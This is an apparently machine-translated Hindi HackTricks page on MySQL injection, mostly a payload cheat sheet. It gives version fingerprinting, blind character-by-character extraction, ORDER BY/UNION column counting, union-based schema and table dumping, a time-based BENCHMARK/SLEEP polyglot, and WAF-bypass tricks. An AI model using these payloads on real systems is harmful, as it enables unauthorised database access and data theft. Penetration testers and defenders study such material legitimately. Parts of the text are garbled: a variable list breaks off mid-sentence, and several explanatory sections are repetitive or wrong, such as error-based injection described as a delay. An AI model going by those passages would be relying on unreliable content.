hacktricks/pentesting-web/sql-injection/mysql-injection
2024-01-01 19:59:09 +00:00
..
mysql-ssrf.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00

MySQL इंजेक्शन

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

Comments

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

दिलचस्प फंक्शन

Mysql की पुष्टि करें:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

उपयोगी फ़ंक्शन्स

The following functions can be useful when performing MySQL injection:

version()

यह फ़ंक्शन MySQL सर्वर की संस्करण संख्या को प्रदर्शित करता है।

database()

यह फ़ंक्शन वर्तमान डेटाबेस का नाम प्रदर्शित करता है।

user()

यह फ़ंक्शन वर्तमान MySQL उपयोगकर्ता का नाम प्रदर्शित करता है।

current_user()

यह फ़ंक्शन वर्तमान MySQL उपयोगकर्ता का नाम प्रदर्शित करता है।

@@hostname

यह फ़ंक्शन MySQL सर्वर के होस्टनेम को प्रदर्शित करता है।

@@datadir

यह फ़ंक्शन MySQL डेटा डिरेक्टरी का पथ प्रदर्शित करता है।

@@basedir

यह फ़ंक्शन MySQL बेस डिरेक्टरी का पथ प्रदर्शित करता है।

@@tmpdir

यह फ़ंक्शन MySQL टेम्प डिरेक्टरी का पथ प्रदर्शित करता है।

@@secure_file_priv

यह फ़ंक्शन MySQL सुरक्षित फ़ाइल निजीलितता की स्थिति को प्रदर्शित करता है।

@@global.version_compile_os

यह फ़ंक्शन MySQL सर्वर के संस्करण कंपाइल ऑपरेटिंग सिस्टम को प्रदर्शित करता है।

@@global.have_ssl

यह फ़ंक्शन MySQL सर्वर के लिए SSL समर्थन की उपलब्धता को प्रदर्शित करता है।

@@global.super_read_only

यह फ़ंक्शन MySQL सर्वर के सुपर रीड ओनली सेटिंग को प्रदर्शित करता है।

@@global.log_output

यह फ़ंक्शन MySQL सर्वर के लॉग आउटपुट सेटिंग को प्रदर्शित करता है।

@@global.log_error

यह फ़ंक्शन MySQL सर्वर के त्रुटि लॉग फ़ाइल का पथ प्रदर्शित करता है।

@@global.log_warnings

यह फ़ंक्शन MySQL सर्वर के चेतावनियाँ लॉग करने की सेटिंग को प्रदर्शित करता है।

@@global.max_connections

यह फ़ंक्शन MySQL सर्वर के अधिकतम संयोजन संख्या को प्रदर्शित करता है।

@@global.max_user_connections

यह फ़ंक्शन MySQL सर्वर के एक उपयोगकर्ता के लिए अधिकतम संयोजन संख्या को प्रदर्शित करता है।

@@global.max_allowed_packet

यह फ़ंक्शन MySQL सर्वर के अधिकतम अनुमत पैकेट साइज़ को प्रदर्शित करता है।

@@global.wait_timeout

यह फ़ंक्शन MySQL सर्वर के वेट टाइमआउट सेटिंग को प्रदर्शित करता है।

@@global.interactive_timeout

यह फ़ंक्शन MySQL सर्वर के इंटरैक्टिव टाइमआउट सेटिंग को प्रदर्शित करता है।

@@global.sql_mode

यह फ़ंक्शन MySQL सर्वर के SQL मोड सेटिंग को प्रदर्शित करता है।

@@global.character_set_server

यह फ़ंक्शन MySQL सर्वर के वर्ण सेट सर्वर सेटिंग को प्रदर्शित करता है।

@@global.collation_server

यह फ़ंक्शन MySQL सर्वर के संकलन सर्वर सेटिंग को प्रदर्शित करता है।

@@global.innodb_version

यह फ़ंक्शन MySQL सर्वर के InnoDB संस्करण संख्या को प्रदर्शित करता है।

@@global.innodb_data_home_dir

यह फ़ंक्शन MySQL सर्वर के InnoDB डेटा होम डिरेक्टरी को प्रदर्शित करता है।

@@global.innodb_log_group_home_dir

यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग ग्रुप होम डिरेक्टरी को प्रदर्शित करता है।

@@global.innodb_buffer_pool_size

यह फ़ंक्शन MySQL सर्वर के InnoDB बफ़र पूल साइज़ को प्रदर्शित करता है।

@@global.innodb_log_file_size

यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग फ़ाइल साइज़ को प्रदर्शित करता है।

@@global.innodb_flush_log_at_trx_commit

यह फ़ंक्शन MySQL सर्वर के InnoDB लॉग फ़्लश सेटिंग को प्रदर्शित करता है।

@@global.innodb_file_per_table

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ाइल प्रति तालिका सेटिंग को प्रदर्शित करता है।

@@global.innodb_flush_method

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़्लश मेथड सेटिंग को प्रदर्शित करता है।

@@global.innodb_support_xa

यह फ़ंक्शन MySQL सर्वर के InnoDB XA समर्थन की उपलब्धता को प्रदर्शित करता है।

@@global.innodb_stats_on_metadata

यह फ़ंक्शन MySQL सर्वर के InnoDB सांख्यिकी आधारित मेटाडेटा सेटिंग को प्रदर्शित करता है।

@@global.innodb_file_format

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ाइल प्रारूप सेटिंग को प्रदर्शित करता है।

@@global.innodb_open_files

यह फ़ंक्शन MySQL सर्वर के InnoDB खुली हुई फ़ाइलों की संख्या को प्रदर्शित करता है।

@@global.innodb_page_size

यह फ़ंक्शन MySQL सर्वर के InnoDB पेज साइज़ को प्रदर्शित करता है।

@@global.innodb_thread_concurrency

यह फ़ंक्शन MySQL सर्वर के InnoDB थ्रेड संयोजनता सेटिंग को प्रदर्शित करता है।

@@global.innodb_read_io_threads

यह फ़ंक्शन MySQL सर्वर के InnoDB पठन आईओ थ्रेड संख्या को प्रदर्शित करता है।

@@global.innodb_write_io_threads

यह फ़ंक्शन MySQL सर्वर के InnoDB लेखन आईओ थ्रेड संख्या को प्रदर्शित करता है।

@@global.innodb_io_capacity

यह फ़ंक्शन MySQL सर्वर के InnoDB आईओ क्षमता सेटिंग को प्रदर्शित करता है।

@@global.innodb_io_capacity_max

यह फ़ंक्शन MySQL सर्वर के InnoDB अधिकतम आईओ क्षमता सेटिंग को प्रदर्शित करता है।

@@global.innodb_flush_neighbors

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़्लश नेबर्स सेटिंग को प्रदर्शित करता है।

@@global.innodb_adaptive_hash_index

यह फ़ंक्शन MySQL सर्वर के InnoDB एडाप्टिव हैश इंडेक्स सेटिंग को प्रदर्शित करता है।

@@global.innodb_lock_wait_timeout

यह फ़ंक्शन MySQL सर्वर के InnoDB लॉक वेट टाइमआउट सेटिंग को प्रदर्शित करता है।

@@global.innodb_rollback_on_timeout

यह फ़ंक्शन MySQL सर्वर के InnoDB टाइमआउट पर रोलबैक सेटिंग को प्रदर्शित करता है।

@@global.innodb_stats_sample_pages

यह फ़ंक्शन MySQL सर्वर के InnoDB सांख्यिकी नमूना पृष्ठ सेटिंग को प्रदर्शित करता है।

@@global.innodb_autoinc_lock_mode

यह फ़ंक्शन MySQL सर्वर के InnoDB ऑटोइंक्रीमेंट लॉक मोड सेटिंग को प्रदर्शित करता है।

@@global.innodb_ft_enable_stopword

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट स्टॉपवर्ड सेटिंग को प्रदर्शित करता है।

@@global.innodb_ft_server_stopword_table

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट सर्वर स्टॉपवर्ड तालिका सेटिंग को प्रदर्शित करता है।

@@global.innodb_ft_user_stopword_table

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट उपयोगकर्ता स्टॉपवर्ड तालिका सेटिंग को प्रदर्शित करता है।

@@global.innodb_ft_min_token_size

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट न्यूनतम टोकन साइज़ सेटिंग को प्रदर्शित करता है।

@@global.innodb_ft_max_token_size

यह फ़ंक्शन MySQL सर्वर के InnoDB फ़ुलटेक्स्ट अधिकतम टोकन साइज़ सेटिंग को

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

सभी इंजेक्शन


MySQL Injection


विषय


MySQL इंजेक्शन क्या है?

MySQL इंजेक्शन एक सुरक्षा गड़बड़ी है जो MySQL डेटाबेस पर आधारित वेब ऐप्लिकेशन में पायी जाती है। यह एक प्रकार का SQL इंजेक्शन है जिसमें हम अवैध SQL संग्रहों का उपयोग करके डेटाबेस को अवांछित तरीके से प्रभावित करते हैं। यह हमें अनधिकृत डेटा तक पहुंचने और डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति देता है।


MySQL इंजेक्शन के प्रकार

MySQL इंजेक्शन कई प्रकार की हो सकती हैं, जैसे:

  • एकल पंक्ति इंजेक्शन: इसमें हम एकल पंक्ति को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
  • बहु पंक्ति इंजेक्शन: इसमें हम बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
  • एकल और बहु पंक्ति इंजेक्शन: इसमें हम एकल और बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।

MySQL इंजेक्शन के लिए उपयोगी फंक्शन

MySQL इंजेक्शन के लिए निम्नलिखित फंक्शन उपयोगी हो सकते हैं:

  • version(): यह फंक्शन MySQL सर्वर की संस्करण संख्या वापस करता है।
  • database(): यह फंक्शन वर्तमान डेटाबेस का नाम वापस करता है।
  • user(): यह फंक्शन वर्तमान MySQL उपयोगकर्ता का नाम वापस करता है।
  • current_user(): यह फंक्शन वर्तमान MySQL उपयोगकर्ता का नाम और होस्ट वापस करता है।
  • @@hostname: यह फंक्शन MySQL सर्वर के होस्टनेम को वापस करता है।

MySQL इंजेक्शन के लिए उपयोगी ट्रिक्स

MySQL इंजेक्शन के लिए निम्नलिखित ट्रिक्स उपयोगी हो सकती हैं:

  • टाइम बेस्ड ब्लाइंड इंजेक्शन: इसमें हम एक अनुरोध को लंबा करके एक देरी उत्पन्न करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
  • एरर बेस्ड ब्लाइंड इंजेक्शन: इसमें हम एक अनुरोध को लंबा करके एक देरी उत्पन्न करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।
  • एकल और बहु पंक्ति इंजेक्शन के लिए यूजर अगरेगेशन: इसमें हम एकल और बहु पंक्तियों को प्रभावित करते हैं, जिससे हमें डेटाबेस की सामग्री को पढ़ने और संशोधित करने की अनुमति मिलती है।

MySQL इंजेक्शन के लिए उपयोगी टूल्स

MySQL इंजेक्शन के लिए निम्नलिखित टूल्स उपयोगी हो सकते हैं:

  • SQLMap: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।
  • SQLNinja: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।
  • SQLMate: यह एक ऑटोमेटेड SQL इंजेक्शन और डेटाबेस पेनटेस्टिंग टूल है।

MySQL इंजेक्शन के उदाहरण

MySQL इंजेक्शन के निम्नलिखित उदाहरण देखें:

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

यहां, यदि हमें उपयोगकर्ता "admin" का पासवर्ड जानना है, तो हम निम्नलिखित इंजेक्शन का उपयोग कर सकते हैं:

SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1'

इसके परिणामस्वरूप, यह अवैध शर्त सत्य होगी और हमें सभी उपयोगकर्ताओं की जानकारी मिलेगी।


MySQL इंजेक्शन के लिए उपयोगी लिंक्स

MySQL इंजेक्शन के लिए निम्नलिखित उपयोगी लिंक्स देखें:

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

फ़्लो

ध्यान दें कि "आधुनिक" MySQL के संस्करणों में आप "information_schema.tables" को "mysql.innodb_table_stats" के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को छलने के लिए उपयोगी हो सकता है)।

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

केवल 1 मान

  • group_concat()
  • Limit X,1

एक-एक करके अंधा

  • substr(version(),X,1)='r' या substring(version(),X,1)=0x70 या ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

अंधा जोड़ना

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

स्तंभों की संख्या का पता लगाएं

एक सरल आदेश का उपयोग करके

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।

{% embed url="https://www.rootedcon.com/" %}

MySQL यूनियन आधारित

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

एक Mysql इंजेक्शन का उपयोग करके SSRF प्राप्त करने के लिए यहां विभिन्न विकल्प सीखें

WAF बाईपास ट्रिक्स

Information_schema के विकल्प

ध्यान दें कि "आधुनिक" MySQL के संस्करणों में आप information_schema.tables को mysql.innodb_table_stats या sys.x$schema_flattened_keys या sys.schema_table_statistics के लिए बदल सकते हैं

COMMAS के बिना MySQL इंजेक्शन

कोई कॉमा उपयोग किए बिना 2 स्तंभों का चयन करें (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

स्तंभ के नाम के बिना मानों को प्राप्त करना

यदि किसी समय आपको तालिका का नाम पता होता है लेकिन आपको तालिका में स्तंभों का नाम पता नहीं होता है, तो आप कोशिश कर सकते हैं कि आप पता लगाएं कि तालिका में कितने स्तंभ हैं, इसके लिए निम्नलिखित को कार्यान्वित करके:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

मान लीजिए कि दो स्तंभ हैं (पहला स्तंभ ID है और दूसरा स्तंभ झंडा है), आप झंडे की सामग्री को ब्रूटफोर्स करने के लिए प्रयास कर सकते हैं, एक अक्षर के बाद अक्षर की कोशिश करके।

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

अधिक जानकारी https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952 में उपलब्ध है।

MySQL इतिहास

आप MySQL के भीतर अन्य निष्पादनों को देख सकते हैं जो तालिका: sys.x$statement_analysis को पढ़कर होते हैं।

संस्करण विकल्प

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥